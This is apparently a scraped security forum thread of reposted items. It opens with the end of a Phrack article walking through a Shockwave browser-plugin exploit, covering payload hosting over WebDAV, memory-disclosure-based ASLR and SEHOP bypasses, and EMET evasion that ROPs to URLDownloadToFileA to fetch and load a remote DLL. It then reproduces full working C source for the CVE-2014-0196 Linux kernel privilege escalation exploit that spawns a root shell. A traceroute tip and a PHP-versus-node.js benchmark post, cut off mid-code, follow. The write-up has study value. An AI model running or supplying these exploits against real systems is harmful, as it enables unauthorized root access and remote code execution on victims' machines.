also worth noting that I also added code to handle serving gzip-encoded data to my main.py as I encountered some unreliability with regard to web.py and its serving of large files. ------[ 4.1.2 - lighttpd During one stage of the exploit development process, the code required a WebDAV server to host a payload. For that, I used lighttpd[15] with the following configuration: server.document-root = "/htdocs" server.port = 80 server.username = "nobody" server.groupname = "nogroup" mimetype.assign = (".html" => "text/html", ".application" => "application/x-ms-application") server.modules = ( "mod_webdav", "mod_alias", "mod_accesslog") server.errorlog = "/logs/error.log" accesslog.filename = "/logs/access.log" webdav.activate = "enable" webdav.sqlite-db-name = "/lock/lighttpd.webdav_lock.db" ----[ 4.2 - The HTML The HTML is pretty basic and consists of an index.html that embeds the .dir file responsible for memory disclosure and an iframe that is dynamically populated with the exploit.html page, which in turn embeds the crafted .dir exploit for that particular client, on demand. The iframe was required as it was noted that if one was not used, modules in memory were loaded and unloaded at potentially different addresses if the browser navigated away from one page, thus rendering the memory disclosure unreliable. ----[ 4.3 - The Javascript The index.html page contains the javascript functions responsible for the following: * Receiving disclosed memory contents provided by the mem_disc.dir file * Receiving and parsing version, platform, and user agent information * POST-ing to itself in order to get such data back to main.py ----[ 4.4 - The Lingo There are a couple of Lingo functions and properties that are exceptionally friendly for the exploit developer. The following are used to determine how to craft the malicious .dir file for a given client and then transport that information to the server: * goToNetPage - function used to call javascript from the .dir * environmentPropList - property used to obtain platform, operating system information, and shockwave build version ----[ 4.5 - The Python The craft_exploit.py handles construction of a custom .dir file per client request. It receives leaked memory addresses, browser user agent, shockwave version, and platform information from the aforementioned POST request. The CraftExploit class defined within contains two class variables of note. The self.int_mods list is populated with tuples containing the file offset within the template .dir file and the value to inject. For example, the first stack pivot used corresponds to offset 0x55AFC in the file. The relevant code that replaces that value in the template .dir file looks like this: self.int_mods.append((0x55AFC, self.sw_3d+0x13e522)) The above will cause the resulting .dir file at offset 0x55AFC to contain a pointer to the "Shockwave 3d Asset.x32" at offset 0x13e522. The other notable class variable is self.str_mods which does much the same thing, except that it is implemented as a dictionary. For example, in order to ensure that a string value will exist at a given offset in the resulting .dir file, one can utilize str_mods as so: self.str_mods[0x536D0] = 'urlmon.dll\x00' The contents of str_mods and int_mods are injected into the file using CraftExploit's render method and then served to the target client via the web server. --[ 5 - Vulnerability Exploitation The following sections will walk the reader through my exploit development process against various configurations, bypassing mitigations as encountered. ----[ 5.1 - Windows XP SP3/Firefox/Shockwave 11.6.5.635 This was the first exploit I wrote for this issue, and as I was developing it on Windows XP SP3 I did not need to worry about ASLR (or even use the memory disclosure vulnerability). This was written the day the bug was discovered with the intent of exploiting the issue quickly, not reliably. As the vulnerable code is protected by /GS, I opted to overwrite one of the saved exception handlers on the stack. The executable was also compiled with SafeSEH, for which bypasses has been covered extensively by others. In short, I pointed the corrupted handler to an address inside a module that did not make available the addresses of its exception handling functions (for WinDBG users, I recommend checking out the narly[16] plugin that helps determine which addresses are available for such a bypass). Thus, the exception dispatcher was unable to determine if my corrupted pointer was legitimate and would proceed to call it. I then gained stack control and, after some ROP-ing, VirtualProtectEx'd the stack and returned to it, executing a payload that simply ran WinExec("calc.exe"). I relied on several things that make this exploit... dirty: * The modules I used to ROP with were getting their preferred base addresses, and thus I could easily ignore ASLR. * I used a system library, shell32.dll, for some primitives. This module is updated by Microsoft often and is not something to rely on. So, to summarize, this exploit bypasses /GS, SafeSEH, DEP, and ignores ASLR (but is more of a PoC than a proper exploit--and well, it's XP). ----[ 5.2 - Windows XP SP3/Firefox/Shockwave 11.6.8.638 About a day after I wrote the exploit for version 11.6.5.635 Adobe released 11.6.8.638. For completeness' sake, I added support to my exploit for what was the latest version, using identical primitives, differing just in location. See the attached exploit for details. ----[ 5.3 - Windows 7 x64/Firefox/Shockwave 12.0.0.112 When Adobe released version 12.0.0.112, I decided to utilize the memory disclosure bug and exploit the vulnerabilities on a more modern operating system, Windows 7. This time, I used the stack memory disclosure to remove any reliance on indeterminable memory addresses, thus bypassing ASLR. Unlike the prior exploits, this version simply ROPs to a LoadLibraryA call and requests DLL over a UNC path. I created a simple DLL that just calls WinExec("calc.exe") upon load. Then, using lighttpd as described in 4.1.2, the file is served. ----[ 5.4 - Windows 7 x64/Firefox/Shockwave 12.0.0.112/EMET 5.0 The above exploit against Windows 7 x64 uses LoadLibraryA to load a malicious payload off of a UNC share. EMET removes the ability to do this, but it is easy enough to bypass, as detailed in the following section. ------[ 5.5.1 - Relevant 'EMET 5.0' Mitigations The exploit for the same target with EMET 5.0 enabled simply calls MoveFileA first to move the file from the remote WebDAV to the local filesystem and then calls LoadLibraryA on the local file. Protip: chattr +i the DLL file on the server so that the MoveFileA will move it but won't be able to delete it afterwards, enabling subsequent exploit attempts to work without a problem. You could also do this within the lighttpd config. Also, EMET implements a mitigation they call Export Address Table Filtering[17] which monitors for read accesses to the exported function addresses in key system DLL modules. However, the attached exploit retrieves the addresses of functions by snagging a pointer via the Shockwave modules' import section (which are not monitored by EMET), rather than from the system DLL files themselves. ----[ 5.5 - Windows 8 x64/Firefox/Shockwave 12.0.0.112/EMET 5.0 Windows 8 introduces a number of exploit mitigations, thoroughly summarized by Matt Miller and Ken Johnson during their Blackhat talk in 2012 [18]. The most obtrusive mitigation that had to be overcome was SEHOP. SEHOP is another mitigation intended to deter exploitation of SEH-based corruption. As Microsoft describes [19]: "The first step involves the insertion of a symbolic exception registration record as the tail record in a thread's exception handler list. This step occurs when a thread first begins executing in user mode. Since exception registration records are always inserted at the head of the exception handler list, the symbolic record is guaranteed to be the final exception registration record. The second step consists of walking the exception handler list at the time that an exception is being dispatched to ensure that the symbolic record can be reached and that it is valid. This step happens when the exception dispatcher is notified that an exception has occurred in user mode. If the symbolic record cannot be reached, the exception dispatcher can assume that the exception handler list is corrupt and that an SEH overwrite may have occurred. The exception dispatcher is then able to safely terminate the process. If the symbolic record is found, the exception dispatcher is able to proceed as it normally would and call each of the registered exception handlers." In order to bypass this mitigation, you pretty much need a memory disclosure. Luckily for me, the leaking of a stack address makes this possible. To demonstrate how such a mitigation is bypassed, the following will walk through inspecting the exception chain before and after the exploit corrupts it. Firstly, once attached to the Firefox process, we can tell WinDBG to follow child processes with the '.childdbg 1' command. Next we point Firefox to the malicious server which will cause the Shockwave player to be invoked, thus launching the plugin-container.exe process from Firefox: 0:029> .childdbg 1 Processes created by the current process will be debugged 0:029> g ModLoad: 70b30000 70b63000 C:\Windows\SysWOW64\shdocvw.dll <snip> ModLoad: 09c70000 09c76000 plugin-container.exe Executable search path is: ModLoad: 00fa0000 00fa6000 plugin-container.exe ModLoad: 772f0000 77447000 ntdll.dll ModLoad: 76620000 76750000 C:\Windows\SysWOW64\KERNEL32.DLL ModLoad: 74f10000 74fb6000 C:\Windows\SysWOW64\KERNELBASE.dll <snip> ModLoad: 74980000 74989000 C:\Windows\SysWOW64\CRYPTBASE.dll ModLoad: 74920000 74971000 C:\Windows\SysWOW64\bcryptPrimitives.dll (834.950): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000003 ecx=a1500000 edx=00000000 esi=00000000 edi=007e0000 eip=77390545 esp=007bf854 ebp=007bf880 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrpDoDebuggerBreak+0x2b: 77390545 cc int 3 In order to inspect the untainted exception chain, we can ask WinDBG to next break upon loading of the Dynamiks.x32 module using: 1:032> sxe ld:dynamiks 1:032> g (740.1f0): Unknown exception - code 000006ba (first chance) ModLoad: 709e0000 70c81000 C:\Users\user\AppData\LocalLow\Adobe\Shockwave Player 12\xtras\download\AdobeSystemsIncorporated\Dynamiks\Dynamiks.x32 eax=00000000 ebx=00800000 ecx=00000000 edx=00000000 esi=00000000 edi=fe9bf000 eip=77e20fe8 esp=0061a944 ebp=0061a99c iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200206 ntdll!ZwMapViewOfSection+0xc: 77e20fe8 c22800 ret 28h 1:032> bp !Dynamiks+0x335b 1:032> g Breakpoint 0 hit eax=0506ba80 ebx=00000000 ecx=0061ca6c edx=71407620 esi=050003a0 edi=0061ca64 eip=709e335b esp=0061c074 ebp=0061c938 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 Dynamiks+0x335b: 709e335b ff5244 call dword ptr [edx+44h] ds:002b:71407664=713debe0 We can view the current exception chain with the !exchain command: 1:032> !exchain 0061ef40: USER32!_except_handler4+0 (775f3991) 0061efa4: USER32!_except_handler4+0 (775f3991) 0061f000: ntdll!KiUserCallbackExceptionHandler+0 (77e22e60) 0061f0fc: xul!std::_Mutex::_Mutex+56d (73920859) 0061f858: plugin_container+18f9 (010b18f9) 0061f8a8: ntdll!_except_handler4+0 (77ec35f2) 0061f8c8: ntdll!FinalExceptionHandler+0 (77eb1d86) Invalid exception stack at ffffffff For those unfamiliar with the above formatted information, the first number is the address on the stack of the SEH record. For example, for the first entry we can inspect the record and verify that the first 32 bit value points to the next SEH record address on the stack, and that the second 32 bit value points to the code responsible for handling the exception: 1:032> dd 0061ef40 L2 0061ef40 0061efa4 775f3991 1:032> u poi(0061ef40+4) L4 USER32!_except_handler4: 775f3991 8bff mov edi,edi 775f3993 55 push ebp 775f3994 8bec mov ebp,esp 775f3996 83ec14 sub esp,14h Prior to corruption, the SEH record chain consists of the following stack locations, terminated by -1: 0061ef40->0061efa4->0061f000->0061f0fc->0061f858->0061f8a8->0061f8c8->ffffffff At this point, we also know the address of the destination buffer that will be overflowed (see section 3.2): 1:032> dd @esp+0x8 L1 0061c07c 0061c534 We can calculate how much data is required to be copied from that address to reach the first SEH record on the stack: 1:032> ? 0061ef40-0061c534 Evaluate expression: 10764 = 00002a0c Now comes the fun part. The exception chain validation that occurs when ntdll!KiUserExceptionDispatcher doesn't care how many entries are in the chain. What this means is that an attacker has some flexibility with regard to how they choose to bypass the checks. For example, the stack corruption could be used to link the first exception handler (USER32!_except_handler4) all the way to the last one (ntdll!FinalExceptionHandler) by modifying the first's *next pointer. Another option (and the one that I chose) is to craft a fake SEH record, link a prior record to yours, and link yours to an existing one located further down the stack. To illustrate this, the below shows the state of the exception chain after attempting to step over the call that causes the stack-based buffer overflow: 1:032> p (740.1f0): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=37734236 ebx=0061c534 ecx=00000000 edx=00e5eff4 esi=00002af8 edi=0061ca6c eip=71439d0a esp=0061c010 ebp=0061c010 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 IML32!Ordinal1115+0xa: 71439d0a 81780454534146 cmp dword ptr [eax+4],46415354h ds:002b:3773423a=?? 1:032> !exchain 0061ef40: Shockwave_3d_Asset!CIFXString::SetCodePage+49122 (70f2e522) 0061ef50: 41414141 0061f0fc: xul!std::_Mutex::_Mutex+56d (73920859) 0061f858: plugin_container+18f9 (010b18f9) 0061f8a8: ntdll!_except_handler4+0 (77ec35f2) 0061f8c8: ntdll!FinalExceptionHandler+0 (77eb1d86) Invalid exception stack at ffffffff Note that now the SEH chain consists of: 0061ef40->0061ef50->0061f0fc->0061f858->0061f8a8->0061f8c8->ffffffff What has occured is the first SEH record has been corrupted to point into the "Shockwave 3d Asset.x32" module (this is our stack pivot--more on this later) and it's *next pointer has been modified to point to a new address on the stack (calculated using the stack memory disclosure). The second record shown above is a fake one that my exploit crafts to re-link the chain. Its *next pointer has been crafted to point to 0061f0fc which is a valid SEH record that existed prior to the corruption. Note that its code pointer was simply set to 0x41414141, which is weakly validated by ntdll's exception dispatcher to ensure it is not located on the stack. At this stage, the SEH chain will pass SEHOP validation and the first record's code will be called. This can be verified in the debugger: 1:032> bp Shockwave_3d_Asset!CIFXString::SetCodePage+49122 1:032> g Breakpoint 1 hit eax=00000000 ebx=00000000 ecx=70f2e522 edx=77e23105 esi=00000000 edi=00000000 eip=70f2e522 esp=0061ba5c ebp=0061ba7c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 Shockwave_3d_Asset!CIFXString::SetCodePage+0x49122: 70f2e522 8b4d0c mov ecx,dword ptr [ebp+0Ch] ss:002b:0061ba88=0061ef40 ------[ 5.5.1 - Relevant 'EMET 5.0 Tech Preview' Mitigations EMET 5.0 implements many mitigations that were submitted as 'defensive security research' to the Microsoft BlueHat Prize Contest (over $250,000 was awarded). The software is still in Tech Preview, but I was curious as to how difficult it would be to bypass. I was also a bit irked that my prior exploits required a WebDAV server. So, in this version of the exploit I decided to remove that requirement. This was accomplished by ROP-ing a call to LoadLibraryA whereby I loaded the urlmon.dll module. More specifically, I returned to LoadLibraryA+0x5 to skip over the EMET hook: 1:039> u KERNEL32!LoadLibraryA L2 KERNEL32!LoadLibraryA: 76ccf864 e92f0932f9 jmp 6fff0198 76ccf869 837d0800 cmp dword ptr [ebp+8],0 1:039> u 6fff0198 6fff0198 684bedeeeb push 0EBEEED4Bh 6fff019d 60 pushad 6fff019e 9c pushfd 6fff019f 54 push esp 6fff01a0 e80bd32a05 call emet+0x4d4b0 (7529d4b0) 6fff01a5 9d popfd 6fff01a6 61 popad 6fff01a7 83c404 add esp,4 By ensuring we land at LoadLibraryA+0x5 and we control @ebp, this EMET hook is trivially bypassed. Microsoft is aware of how limited this hook is, and they even cite Phrack in their blog post[20]. Once urlmon.dll was loaded, I had to deal with EMET's 'Caller' mitigation, which does the following: "EMET will make sure that when a critical function is reached, it is reached via a "call" instruction rather than a "ret" instruction. This is a very useful mitigation and breaks many ROP gadgets."[20] I also had to deal with the 'SimExecFlow' mitigation: "This mitigation tries to detect ROP gadgets following a call to a critical function. It works by emulating a specified number of instructions at the return address of the caller of a critical function."[20] Both of the above mitigations would interfere with my calling GetProcAddress to retrieve the address of URLDownloadToFileA. They were bypassed by returning into the middle of a module's existing call to GetProcAddress, thus EMET could not tell that it was ROP-ed to or that it was an illegitimate call: .text:7A25CD4A 00C push eax ; hModule .text:7A25CD4B 010 call ds:GetProcAddress .text:7A25CD51 008 mov [esi+18h], eax .text:7A25CD54 008 cmp eax, edi .text:7A25CD56 008 jnz short loc_7A25CD6D .text:7A25CD6D loc_7A25CD6D: .text:7A25CD6D .text:7A25CD6D 008 mov eax, edi .text:7A25CD6F 008 pop edi .text:7A25CD70 004 pop esi .text:7A25CD71 000 retn .text:7A25CD71 sub_7A25CD20 endp By returning directly to the code at 0x7A25CD4A, @eax already contained the result from LoadLibraryA("urlmon.dll\x00"), and because I could predict stack addresses using the memory leak it was easy enough to ensure there was a pointer to the string "URLDownloadToFileA\x00" for the call to GetProcAddress and also that @esi was pointing to a stack address under control. Thus, I was able to get the address of the function without a problem. Then, I called URLDownloadToFileA to drop the payload to a default writable local directory (C:\Users\Public) and then returned to LoadLibraryA and loaded the code. --[ 6 - Future Work I began developing support for process continuation/continuation of execution/whatever it's being called these days. It should be fairly easy to ensure the plugin-container.exe doesn't crash hard, but would require reversing the interaction between this process and the firefox.exe parent. --[ 7 - Conclusion This article wasn't intended to share anything novel... any competent exploit writer could have implemented the attached exploit. I just wanted to share a walkthrough from bug discovery to reliable exploit so that readers can get a feel for what the process is like these days. --[ 8 - Greets Thanks to navs, sohlow, raid, & hoodlum for their insight and valuable discussions. --[ 9 - References [1] [url]http://community.corest.com/~gera/InsecureProgramming[/url] [2] [url]http://virus.wikia.com/wiki/29A[/url] [3] [url]http://www.uninformed.org[/url] [4] [url]http://helpx.adobe.com/shockwave/kb/shockwave-player-faq.html[/url] [5] [url]http://www.adobe.com/products/shockwaveplayer.html[/url] [6] [url]https://wiki.mozilla.org/NPAPI[/url] [7] [url]http://www.adobe.com/products/director.html[/url] [8] [url]http://cansecwest.com/csw11/Adobe_Shockwave-AaronPortnoy_LoganBrown.pptx[/url] [9] [url]http://www.microquill.com/smartheap/index.html[/url] [10] [url]http://www.j4u2.com/jht/bio.html[/url] [11] [url]http://helpx.adobe.com/director/topics/scripting-dictionary.html[/url] [12] [url]http://msdn.microsoft.com/en-us/library/8dbf701c(v=vs.80).aspx[/url] [13] [url]http://uninformed.org/index.cgi?v=7&a=2&p=5[/url] [14] [url]http://webpy.org/[/url] [15] [url]http://www.lighttpd.net/[/url] [16] [url]https://code.google.com/p/narly/[/url] [17] [url]http://blogs.technet.com/b/srd/archive/2009/02/02/preventing-the-[/url] exploitation-of-seh-overwrites-with-sehop.aspx [18] [url]http://media.blackhat.com/bh-us-12/Briefings/M_Miller/BH_US_12_Miller[/url] _Exploit_Mitigation_Slides.pdf [19] [url]http://blogs.technet.com/b/srd/archive/2010/07/28/announcing-the-[/url] upcoming-release-of-emet-v2.aspx [20] [url]http://blogs.technet.com/b/srd/archive/2012/07/24/emet-3-5-tech-preview-[/url] leverages-security-mitigations-from-the-bluehat-prize.aspx Sursa: http://phrack.org/papers/shockwave_memory_disclosure.html
  20. CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race /* * CVE-2014-0196: Linux kernel <= v3.15-rc4: raw mode PTY local echo race * condition * * Slightly-less-than-POC privilege escalation exploit * For kernels >= v3.14-rc1 * * Matthew Daley <mattd@bugfuzz.com> * * Usage: * $ gcc cve-2014-0196-md.c -lutil -lpthread * $ ./a.out * [+] Resolving symbols * [+] Resolved commit_creds: 0xffffffff81056694 * [+] Resolved prepare_kernel_cred: 0xffffffff810568a7 * [+] Doing once-off allocations * [+] Attempting to overflow into a tty_struct............... * [+] Got it * # id * uid=0(root) gid=0(root) groups=0(root) * * WARNING: The overflow placement is still less-than-ideal; there is a 1/4 * chance that the overflow will go off the end of a slab. This does not * necessarily lead to an immediate kernel crash, but you should be prepared * for the worst (i.e. kernel oopsing in a bad state). In theory this would be * avoidable by reading /proc/slabinfo on systems where it is still available * to unprivileged users. * * Caveat: The vulnerability should be exploitable all the way from * v2.6.31-rc3, however relevant changes to the TTY subsystem were made in * commit acc0f67f307f52f7aec1cffdc40a786c15dd21d9 ("tty: Halve flip buffer * GFP_ATOMIC memory consumption") that make exploitation simpler, which this * exploit relies on. * * Thanks to Jon Oberheide for his help on exploitation technique. */ #include <sys/stat.h> #include <sys/types.h> #include <fcntl.h> #include <pthread.h> #include <pty.h> #include <stdio.h> #include <string.h> #include <termios.h> #include <unistd.h> #define TTY_MAGIC 0x5401 #define ONEOFF_ALLOCS 200 #define RUN_ALLOCS 30 struct device; struct tty_driver; struct tty_operations; typedef struct { int counter; } atomic_t; struct kref { atomic_t refcount; }; struct tty_struct_header { int magic; struct kref kref; struct device *dev; struct tty_driver *driver; const struct tty_operations *ops; } overwrite; typedef int __attribute__((regparm(3))) (* commit_creds_fn)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* prepare_kernel_cred_fn)(unsigned long cred); int master_fd, slave_fd; char buf[1024] = {0}; commit_creds_fn commit_creds; prepare_kernel_cred_fn prepare_kernel_cred; int payload(void) { commit_creds(prepare_kernel_cred(0)); return 0; } unsigned long get_symbol(char *target_name) { FILE *f; unsigned long addr; char dummy; char name[256]; int ret = 0; f = fopen("/proc/kallsyms", "r"); if (f == NULL) return 0; while (ret != EOF) { ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, name); if (ret == 0) { fscanf(f, "%s\n", name); continue; } if (!strcmp(name, target_name)) { printf("[+] Resolved %s: %p\n", target_name, (void *)addr); fclose(f); return addr; } } printf("[-] Couldn't resolve \"%s\"\n", name); fclose(f); return 0; } void *overwrite_thread_fn(void *p) { write(slave_fd, buf, 511); write(slave_fd, buf, 1024 - 32 - (1 + 511 + 1)); write(slave_fd, &overwrite, sizeof(overwrite)); } int main() { char scratch[1024] = {0}; void *tty_operations[64]; int i, temp_fd_1, temp_fd_2; for (i = 0; i < 64; ++i) tty_operations[i] = payload; overwrite.magic = TTY_MAGIC; overwrite.kref.refcount.counter = 0x1337; overwrite.dev = (struct device *)scratch; overwrite.driver = (struct tty_driver *)scratch; overwrite.ops = (struct tty_operations *)tty_operations; puts("[+] Resolving symbols"); commit_creds = (commit_creds_fn)get_symbol("commit_creds"); prepare_kernel_cred = (prepare_kernel_cred_fn)get_symbol("prepare_kernel_cred"); if (!commit_creds || !prepare_kernel_cred) return 1; puts("[+] Doing once-off allocations"); for (i = 0; i < ONEOFF_ALLOCS; ++i) if (openpty(&temp_fd_1, &temp_fd_2, NULL, NULL, NULL) == -1) { puts("[-] pty creation failed"); return 1; } printf("[+] Attempting to overflow into a tty_struct..."); fflush(stdout); for (i = 0; ; ++i) { struct termios t; int fds[RUN_ALLOCS], fds2[RUN_ALLOCS], j; pthread_t overwrite_thread; if (!(i & 0xfff)) { putchar('.'); fflush(stdout); } if (openpty(&master_fd, &slave_fd, NULL, NULL, NULL) == -1) { puts("\n[-] pty creation failed"); return 1; } for (j = 0; j < RUN_ALLOCS; ++j) if (openpty(&fds[j], &fds2[j], NULL, NULL, NULL) == -1) { puts("\n[-] pty creation failed"); return 1; } close(fds[RUN_ALLOCS / 2]); close(fds2[RUN_ALLOCS / 2]); write(slave_fd, buf, 1); tcgetattr(master_fd, &t); t.c_oflag &= ~OPOST; t.c_lflag |= ECHO; tcsetattr(master_fd, TCSANOW, &t); if (pthread_create(&overwrite_thread, NULL, overwrite_thread_fn, NULL)) { puts("\n[-] Overwrite thread creation failed"); return 1; } write(master_fd, "A", 1); pthread_join(overwrite_thread, NULL); for (j = 0; j < RUN_ALLOCS; ++j) { if (j == RUN_ALLOCS / 2) continue; ioctl(fds[j], 0xdeadbeef); ioctl(fds2[j], 0xdeadbeef); close(fds[j]); close(fds2[j]); } ioctl(master_fd, 0xdeadbeef); ioctl(slave_fd, 0xdeadbeef); close(master_fd); close(slave_fd); if (!setresuid(0, 0, 0)) { setresgid(0, 0, 0); puts("\n[+] Got it :)"); execl("/bin/bash", "/bin/bash", NULL); } } } Sursa: http://www.exploit-db.com/exploits/33516/
  21. Mai simplu: telnet route_server traceroute ipaddress nytro@pwn:~$ telnet route-server.gblx.net Trying 67.17.81.28... Connected to loop0.route-server.phx1.gblx.net. Escape character is '^]'. C ******************************* WARNING ******************************* This equipment is the property of Level 3 Communications. Unauthorized access is strictly prohibited. Any unauthorized access or tampering with this equipment will result in civil and/or criminal prosecution. ******************************* WARNING ******************************* route-server.phx1>traceroute 8.8.8.8 Type escape sequence to abort. Tracing the route to google-public-dns-a.google.com (8.8.8.8) 1 ge4-12-1000M.ar6.PHX1.gblx.net (67.16.148.37) 0 msec 0 msec 0 msec 2 72.14.196.50 12 msec 8 msec 8 msec 3 216.239.46.40 [AS 15169] 12 msec 64.233.174.238 [AS 15169] 8 msec 216.239.46.40 [AS 15169] 8 msec 4 64.233.175.150 [AS 15169] [MPLS: Label 338423 Exp 4] 56 msec 72.14.238.2 [AS 15169] [MPLS: Label 671714 Exp 4] 36 msec 40 msec 5 72.14.239.159 [AS 15169] [MPLS: Label 452774 Exp 4] 36 msec 72.14.239.155 [AS 15169] [MPLS: Label 522286 Exp 4] 40 msec 72.14.239.160 [AS 15169] [MPLS: Label 518798 Exp 4] 36 msec 6 64.233.174.131 [AS 15169] 40 msec 216.239.48.167 [AS 15169] 36 msec 64.233.174.129 [AS 15169] 40 msec 7 * * * 8 google-public-dns-a.google.com (8.8.8.8) [AS 15169] 36 msec 40 msec 36 msec route-server.phx1>quit Connection closed by foreign host.
  22. PHP vs node.js: The REAL statistics 10 June, 2014 Prahlad Yeri When it comes to web programming, I’ve always coded in ASP.NET or the LAMP technologies for most part of my life. Now, the new buzz in the city is node.js. It is a light-weight platform that runs javascript code on server-side and is said to improvise performance by using async I/O. The theory suggests that synchronous or blocking model of I/O works something like this: I/O is typically the costliest part of a web transaction. When a request arrives to the apache web server, it passes it to PHP interpreter for scripting any dynamic contents. Now comes the tricky part – If the PHP script wants to read something from the disk/database or write to it, that is the slowest link in the chain. When you call PHP function file_get_contents(), the entire thread is blocked until the contents are retrieved! The server can’t do anything until your script gets the file contents. Consider what happens when multiples of simultaneous requests are issued by different users to your server? They get queued, because no thread is available to do the job since they are all blocked in I/O! Here comes the unique selling-point of node.js. Since node.js implements async I/O in almost all its functions, the server thread in the above scenario is freed as soon as the file retrieval function (fs.readFile) is called. Then, once the I/O completes, node calls a function (passed earlier by fs.readFile) along with the data parameters. In the meantime, that valuable thread can be used for serving some other request. So thats the theory about it anyway. But I’m not someone who just accepts any new fad in the town just because it is hype and everyone uses it. Nope, I want to get under the covers and verify it for myself. I wanted to see whether this theory holds in actual practice or not. So I brought upon myself the job of writing two simple scripts for benchmarking this – one in PHP (hosted on apache2) and other in javascript (hosted on node.js). The test itself was very simple. The script would: 1. Accept the request. 2. Generate a random string of 108 kilobytes. 3. Write the string to a file on the disk. 4. Read the contents back from disk. 5. Return the string back on the response stream. This is the first script, index.php: [COLOR=#000000][B]<?php[/B][/COLOR] [COLOR=#666666][I]//index.php[/I][/COLOR] [COLOR=#000088]$s[/COLOR][COLOR=#339933]=[/COLOR][COLOR=#0000ff]""[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#666666][I]//generate a random string of 108KB and a random filename[/I][/COLOR] [COLOR=#000088]$fname[/COLOR] [COLOR=#339933]=[/COLOR] [COLOR=#990000]chr[/COLOR][COLOR=#009900]([/COLOR][COLOR=#990000]rand[/COLOR][COLOR=#009900]([/COLOR][COLOR=#cc66cc]0[/COLOR][COLOR=#339933],[/COLOR][COLOR=#cc66cc]57[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]+[/COLOR][COLOR=#cc66cc]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933].[/COLOR][COLOR=#990000]chr[/COLOR][COLOR=#009900]([/COLOR][COLOR=#990000]rand[/COLOR][COLOR=#009900]([/COLOR][COLOR=#cc66cc]0[/COLOR][COLOR=#339933],[/COLOR][COLOR=#cc66cc]57[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]+[/COLOR][COLOR=#cc66cc]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933].[/COLOR][COLOR=#990000]chr[/COLOR][COLOR=#009900]([/COLOR][COLOR=#990000]rand[/COLOR][COLOR=#009900]([/COLOR][COLOR=#cc66cc]0[/COLOR][COLOR=#339933],[/COLOR][COLOR=#cc66cc]57[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]+[/COLOR][COLOR=#cc66cc]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933].[/COLOR][COLOR=#990000]chr[/COLOR][COLOR=#009900]([/COLOR][COLOR=#990000]rand[/COLOR][COLOR=#009900]([/COLOR][COLOR=#cc66cc]0[/COLOR][COLOR=#339933],[/COLOR][COLOR=#cc66cc]57[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]+[/COLOR][COLOR=#cc66cc]65[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933].[/COLOR][COLOR=#0000ff]'.txt'[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#b1b100]for[/COLOR][COLOR=#009900]([/COLOR][COLOR=#000088]$i[/COLOR][COLOR=#339933]=[/COLOR][COLOR=#cc66cc]0[/COLOR][COLOR=#339933];[/COLOR][COLOR=#000088]$i[/COLOR][COLOR=#339933]<[/COLOR][COLOR=#cc66cc]108000[/COLOR][COLOR=#339933];[/COLOR][COLOR=#000088]$i[/COLOR][COLOR=#339933]++[/COLOR][COLOR=#009900])[/COLOR] [COLOR=#009900]{[/COLOR] [COLOR=#000088]$n[/COLOR][COLOR=#339933]=[/COLOR][COLOR=#990000]rand[/COLOR][COLOR=#009900]([/COLOR][COLOR=#cc66cc]0[/COLOR][COLOR=#339933],[/COLOR][COLOR=#cc66cc]57[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933]+[/COLOR][COLOR=#cc66cc]65[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#000088]$s[/COLOR] [COLOR=#339933]=[/COLOR] [COLOR=#000088]$s[/COLOR][COLOR=#339933].[/COLOR][COLOR=#990000]chr[/COLOR][COLOR=#009900]([/COLOR][COLOR=#000088]$n[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#009900]}[/COLOR] [COLOR=#666666][I]//write s to a file[/I][/COLOR] [COLOR=#990000]file_put_contents[/COLOR][COLOR=#009900]([/COLOR][COLOR=#000088]$fname[/COLOR][COLOR=#339933],[/COLOR][COLOR=#000088]$s[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#000088]$result[/COLOR] [COLOR=#339933]=[/COLOR] [COLOR=#990000]file_get_contents[/COLOR][COLOR=#009900]([/COLOR][COLOR=#000088]$fname[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#b1b100]echo[/COLOR] [COLOR=#000088]$result[/COLOR][COLOR=#339933];[/COLOR] And here is the second script, server.js: [COLOR=#006600][I]//server.js[/I][/COLOR] [COLOR=#000066][B]var[/B][/COLOR] http [COLOR=#339933]=[/COLOR] require[COLOR=#009900]([/COLOR][COLOR=#3366CC]'http'[/COLOR][COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#000066][B]var[/B][/COLOR] server [COLOR=#339933]=[/COLOR] http.[COLOR=#660066]createServer[/COLOR][COLOR=#009900]([/COLOR]handler[COLOR=#009900])[/COLOR][COLOR=#339933];[/COLOR] [COLOR=#000066][B]function[/B][/COLOR] handler[COLOR=#009900]([/COLOR]request[COLOR=#339933],[/COLOR] response[COLOR=#009900])[/COLOR] [COLOR=#009900]{[/COLOR] [COLOR=#006600][I]//console.log('request received!');[/I][/COLOR] response.[COLOR=#660066]writeHead[/COLOR][COLOR=#009900]([/COLOR][COLOR=#CC0000]200[/COLOR][COLOR=#339933],[/COLOR] 